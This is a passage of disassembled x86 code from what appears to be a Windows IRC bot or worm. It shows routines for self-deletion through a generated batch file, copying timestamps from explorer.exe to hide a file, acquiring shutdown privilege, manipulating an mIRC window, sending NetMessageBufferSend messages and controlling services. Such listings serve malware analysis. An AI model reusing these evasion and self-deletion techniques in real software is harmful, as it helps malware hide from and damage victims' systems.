loc_4184BF:				; CODE XREF: sub_41847D+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_4184CC
		cmp	dl, 0Dh
		jnz	short loc_4184D0


loc_4184CC:				; CODE XREF: sub_41847D+48j
		and	byte ptr [ecx+esi], 0


loc_4184D0:				; CODE XREF: sub_41847D+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_4184BF


loc_4184D5:				; CODE XREF: sub_41847D+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418506
		lea	edi, [ebp+var_7CC]


loc_4184E2:				; CODE XREF: sub_41847D+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418501
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418501
		cmp	ebx, 1F4h
		jge	short loc_418506
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418501:				; CODE XREF: sub_41847D+69j
					; sub_41847D+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_4184E2


loc_418506:				; CODE XREF: sub_41847D+5Dj
					; sub_41847D+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418524
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41CAB0
		add	esp, 0Ch


loc_418524:				; CODE XREF: sub_41847D+8Ej
		mov	eax, ebx


loc_418526:				; CODE XREF: sub_41847D+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_41847D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41852A	proc near		; CODE XREF: sub_418584+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418563
		push	ebx
		mov	ebx, edi


loc_418547:				; CODE XREF: sub_41852A+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418566
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418547
		pop	ebx


loc_418563:				; CODE XREF: sub_41852A+18j
		pop	edi
		pop	esi
		retn
sub_41852A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418566	proc near		; CODE XREF: sub_41852A+25p
					; sub_418584+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41DEEC
		cmp	al, 61h
		pop	ecx
		jl	short loc_418581
		cmp	al, 7Ah
		jg	short loc_418581
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418581:				; CODE XREF: sub_418566+Ej
					; sub_418566+12j
		xor	eax, eax
		retn
sub_418566	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418584	proc near		; CODE XREF: sub_415DCF+10p
					; ___:00415EA1p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41C2A0
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B960
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41B960
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41852A
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_4185C2:				; CODE XREF: sub_418584+B6j
		test	esi, esi
		jle	short loc_418640
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DEEC
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41DEEC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_418638


loc_4185E8:				; CODE XREF: sub_418584+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418566
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_418609
		mov	eax, ecx


loc_418609:				; CODE XREF: sub_418584+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41863C
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DEEC
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41DEEC
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4185E8


loc_418638:				; CODE XREF: sub_418584+62j
		dec	edi
		dec	esi
		jmp	short loc_4185C2
; ---------------------------------------------------------------------------


loc_41863C:				; CODE XREF: sub_418584+8Aj
		xor	eax, eax
		jmp	short loc_418645
; ---------------------------------------------------------------------------


loc_418640:				; CODE XREF: sub_418584+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418645:				; CODE XREF: sub_418584+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418584	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41864A	proc near		; CODE XREF: sub_401AC7+66FDp
					; sub_401AC7+7700p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2680DCDh
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 27F0000h
		nop
		lea	eax, [ebp+var_100]


loc_418683:				; CODE XREF: sub_41864A+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_41868F
		cmp	cl, 9
		jnz	short loc_418692


loc_41868F:				; CODE XREF: sub_41864A+3Ej
		inc	eax
		jmp	short loc_418683
; ---------------------------------------------------------------------------


loc_418692:				; CODE XREF: sub_41864A+43j
					; sub_41864A+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4186AC
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418692
		cmp	cl, 21h
		jl	short loc_418692


loc_4186AC:				; CODE XREF: sub_41864A+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4D8ABC
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41C100
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41864A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186D4	proc near		; CODE XREF: sub_401AC7+245Ap
		push	esi
		push	0
		call	dword_4C92D4
		test	eax, eax
		jz	short loc_41870B
		push	1
		call	dword_4C92F4
		mov	esi, eax
		test	esi, esi
		jz	short loc_41870B
		push	edi
		push	esi
		call	near ptr 28005BFh
		nop
		push	esi
		mov	edi, eax
		call	near ptr 2800000h
		nop
		call	dword_4C9358
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41870B:				; CODE XREF: sub_4186D4+Bj
					; sub_4186D4+19j
		xor	eax, eax
		pop	esi
		retn
sub_4186D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41870F	proc near		; CODE XREF: sub_401AC7+74B5p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4C9310
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41878B
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 281012Ah
		nop
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 2810000h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41C006
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4C9360
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4C9360
		push	ebx
		nop
		call	near ptr 2800B44h
		push	edi
		call	near ptr 2660000h
		nop
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_41878D
; ---------------------------------------------------------------------------


loc_41878B:				; CODE XREF: sub_41870F+16j
		xor	eax, eax


loc_41878D:				; CODE XREF: sub_41870F+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41870F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418791	proc near		; CODE XREF: ___:00401430p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4C93C0
		test	eax, eax
		jz	short loc_418830
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_427100
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418830
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 2820000h
		push	ebx
		mov	ebx, dword_427078
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418830
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 281070Dh
		push	esi
		call	ebx


loc_418830:				; CODE XREF: sub_418791+2Aj
					; sub_418791+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418791	endp


; =============== S U B	R O U T	I N E =======================================



sub_418835	proc near		; CODE XREF: sub_401AC7+1675p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419B3F
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4C9244
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418835	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418857	proc near		; CODE XREF: sub_401AC7+26F7p
					; ___:00416BC6p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42908C, esi
		push	edi
		jz	short loc_41887B
		cmp	dword_4C93D4, esi
		jnz	short loc_41887B
		push	esi
		call	sub_401000
		pop	ecx


loc_41887B:				; CODE XREF: sub_418857+13j
					; sub_418857+1Bj
		call	sub_40B576
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	near ptr 26B0000h
		nop
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 27306D8h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4189DB
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 2720000h
		push	edi
		nop
		call	near ptr 2660000h
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BD10
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BD10
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43B4B8
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 26906BCh
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 269058Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418983
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	near ptr 2690408h
		nop


loc_418983:				; CODE XREF: sub_418857+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41C006
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2830000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 26603BDh


loc_4189DB:				; CODE XREF: sub_418857+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418857	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4189DF	proc near		; CODE XREF: sub_401AC7+7139p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26E0636h
		cmp	[ebp+var_84], 2
		jnz	short loc_418A75
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4C9284
		push	edi
		push	eax
		call	dword_4C9294
		test	eax, eax
		jz	short loc_418A67
		push	[ebp+arg_10]
		push	offset dword_438D24


loc_418A40:				; CODE XREF: sub_4189DF+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41C006
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h
		jmp	short loc_418A9F
; ---------------------------------------------------------------------------


loc_418A67:				; CODE XREF: sub_4189DF+57j
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_438CFC
		jmp	short loc_418A40
; ---------------------------------------------------------------------------


loc_418A75:				; CODE XREF: sub_4189DF+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_438CCC
		push	eax
		call	sub_41C006
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 1Ch


loc_418A9F:				; CODE XREF: sub_4189DF+86j
		pop	edi
		leave
		retn
sub_4189DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AA2	proc near		; CODE XREF: sub_401AC7+556Cp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26E0636h
		cmp	[ebp+var_90], 4
		jnz	short loc_418AF8
		cmp	[ebp+var_8C], 0
		jnz	short loc_418AE1
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_418AF8
		leave
		retn
; ---------------------------------------------------------------------------


loc_418AE1:				; CODE XREF: sub_418AA2+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_418AF3
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_418AF8


loc_418AF3:				; CODE XREF: sub_418AA2+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_418AF8:				; CODE XREF: sub_418AA2+27j
					; sub_418AA2+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26B0C73h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26C0000h
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41DFD4
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41DFD4
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41DFD4
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41DFB7
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	near ptr 27B0737h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_418AA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B82	proc near		; CODE XREF: sub_40111D+F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 26A0729h
		push	eax
		call	sub_41C058
		pop	ecx
		call	sub_41C062
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4276F8
		call	sub_41CF04
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418B82	endp


; =============== S U B	R O U T	I N E =======================================



sub_418BBF	proc near		; CODE XREF: sub_401AC7:loc_405F8Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418C24
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_438D48[esi]
		push	edi
		push	eax
		call	sub_418C46
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418C07
		push	edi
		push	off_438D44[esi]
		mov	esi, offset dword_4D9380
		push	offset unk_438E58
		push	esi
		call	sub_41C006
		add	esp, 10h
		jmp	short loc_418C41
; ---------------------------------------------------------------------------


loc_418C07:				; CODE XREF: sub_418BBF+2Aj
		push	eax
		call	sub_418CE8
		push	eax
		push	edi
		mov	esi, offset dword_4D9380
		push	offset unk_438E2C
		push	esi
		call	sub_41C006
		add	esp, 14h
		jmp	short loc_418C41
; ---------------------------------------------------------------------------


loc_418C24:				; CODE XREF: sub_418BBF+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4D9380
		push	off_438D40[eax*4]
		push	offset unk_438E08
		push	esi
		call	sub_41C006
		add	esp, 0Ch


loc_418C41:				; CODE XREF: sub_418BBF+46j
					; sub_418BBF+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_418BBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C46	proc near		; CODE XREF: sub_418BBF+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4C92F8
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418C6D
		nop
		call	near ptr 2680DCDh
		mov	ebx, eax
		jmp	short loc_418CE2
; ---------------------------------------------------------------------------


loc_418C6D:				; CODE XREF: sub_418C46+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4C91E0
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418C8D
		nop
		call	near ptr 2680DCDh
		mov	ebx, eax
		jmp	short loc_418CDA
; ---------------------------------------------------------------------------


loc_418C8D:				; CODE XREF: sub_418C46+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_418CC0
		cmp	eax, 3
		jz	short loc_418CB1
		jle	short loc_418CD3
		cmp	eax, 6
		jg	short loc_418CD3
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4C924C
		jmp	short loc_418CC7
; ---------------------------------------------------------------------------


loc_418CB1:				; CODE XREF: sub_418C46+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4C91E8
		jmp	short loc_418CC7
; ---------------------------------------------------------------------------


loc_418CC0:				; CODE XREF: sub_418C46+4Dj
		push	esi
		call	dword_4C9250


loc_418CC7:				; CODE XREF: sub_418C46+69j
					; sub_418C46+78j
		test	eax, eax
		jnz	short loc_418CD3
		nop
		call	near ptr 2680DCDh
		mov	ebx, eax


loc_418CD3:				; CODE XREF: sub_418C46+54j
					; sub_418C46+59j ...
		push	esi
		call	dword_4C91FC


loc_418CDA:				; CODE XREF: sub_418C46+45j
		push	edi
		call	dword_4C91FC
		pop	esi


loc_418CE2:				; CODE XREF: sub_418C46+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_418C46	endp


; =============== S U B	R O U T	I N E =======================================



sub_418CE8	proc near		; CODE XREF: sub_418BBF+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418D9D
		jz	loc_418D96
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418D60
		jz	short loc_418D56
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418D4C
		dec	ecx
		dec	ecx
		jz	short loc_418D42
		dec	ecx
		jz	short loc_418D38
		sub	ecx, 51h
		jz	short loc_418D2E
		sub	ecx, 24h
		jnz	loc_418E13	; default
					; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_418E05
; ---------------------------------------------------------------------------


loc_418D2E:				; CODE XREF: sub_418CE8+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_418E05
; ---------------------------------------------------------------------------


loc_418D38:				; CODE XREF: sub_418CE8+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_418E05
; ---------------------------------------------------------------------------


loc_418D42:				; CODE XREF: sub_418CE8+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_418E05
; ---------------------------------------------------------------------------


loc_418D4C:				; CODE XREF: sub_418CE8+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_418E05
; ---------------------------------------------------------------------------


loc_418D56:				; CODE XREF: sub_418CE8+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_418E05
; ---------------------------------------------------------------------------


loc_418D60:				; CODE XREF: sub_418CE8+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418D8F
		dec	ecx
		jz	short loc_418D88
		dec	ecx
		jz	short loc_418D81
		dec	ecx
		jnz	loc_418E13	; default
					; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_418E05
; ---------------------------------------------------------------------------


loc_418D81:				; CODE XREF: sub_418CE8+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418D88:				; CODE XREF: sub_418CE8+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418D8F:				; CODE XREF: sub_418CE8+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418D96:				; CODE XREF: sub_418CE8+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418D9D:				; CODE XREF: sub_418CE8+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418E13 ; default
					; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16
		jz	short loc_418E00
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418E13 ; default
					; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418E54[ecx]
		jmp	off_418E2C[ecx*4] ; switch jump


loc_418DC1:				; DATA XREF: ___:off_418E2Co
		push	offset aTheSpecifiedDa ; jumptable 00418DBA case 7
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418DC8:				; CODE XREF: sub_418CE8+D2j
					; DATA XREF: ___:off_418E2Co
		push	offset aTheServiceDepe ; jumptable 00418DBA case 17
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418DCF:				; CODE XREF: sub_418CE8+D2j
					; DATA XREF: ___:off_418E2Co
		push	offset aTheServiceDe_0 ; jumptable 00418DBA case 10
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418DD6:				; CODE XREF: sub_418CE8+D2j
					; DATA XREF: ___:off_418E2Co
		push	offset aTheServiceHasB ; jumptable 00418DBA case 0
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418DDD:				; CODE XREF: sub_418CE8+D2j
					; DATA XREF: ___:off_418E2Co
		push	offset aTheSpecified_0 ; jumptable 00418DBA case 2
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418DE4:				; CODE XREF: sub_418CE8+D2j
					; DATA XREF: ___:off_418E2Co
		push	offset aTheServiceCoul ; jumptable 00418DBA case 11
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418DEB:				; CODE XREF: sub_418CE8+D2j
					; DATA XREF: ___:off_418E2Co
		push	offset aTheServiceHa_0 ; jumptable 00418DBA case 14
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418DF2:				; CODE XREF: sub_418CE8+D2j
					; DATA XREF: ___:off_418E2Co
		push	offset aTheRequested_1 ; jumptable 00418DBA case 3
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418DF9:				; CODE XREF: sub_418CE8+D2j
					; DATA XREF: ___:off_418E2Co
		push	offset aTheServiceHasN ; jumptable 00418DBA case 4
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418E00:				; CODE XREF: sub_418CE8+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_418E05:				; CODE XREF: sub_418CE8+41j
					; sub_418CE8+4Bj ...
		push	offset dword_4D8CC0
		call	sub_41C006
		pop	ecx
		pop	ecx
		jmp	short loc_418E26
; ---------------------------------------------------------------------------


loc_418E13:				; CODE XREF: sub_418CE8+36j
					; sub_418CE8+89j ...
		push	eax		; default
					; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4D8CC0
		call	sub_41C006
		add	esp, 0Ch


loc_418E26:				; CODE XREF: sub_418CE8+129j
		mov	eax, offset dword_4D8CC0
		retn
sub_418CE8	endp

; ---------------------------------------------------------------------------
off_418E2C	dd offset loc_418DD6	; DATA XREF: sub_418CE8+D2r
		dd offset loc_418DDD	; jump table for switch	statement
		dd offset loc_418DF2
		dd offset loc_418DF9
		dd offset loc_418DC1
		dd offset loc_418DCF
		dd offset loc_418DE4
		dd offset loc_418DEB
		dd offset loc_418DC8
		dd offset loc_418E13
byte_418E54	db	0,     9,     1,     2 ; DATA XREF: sub_418CE8+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


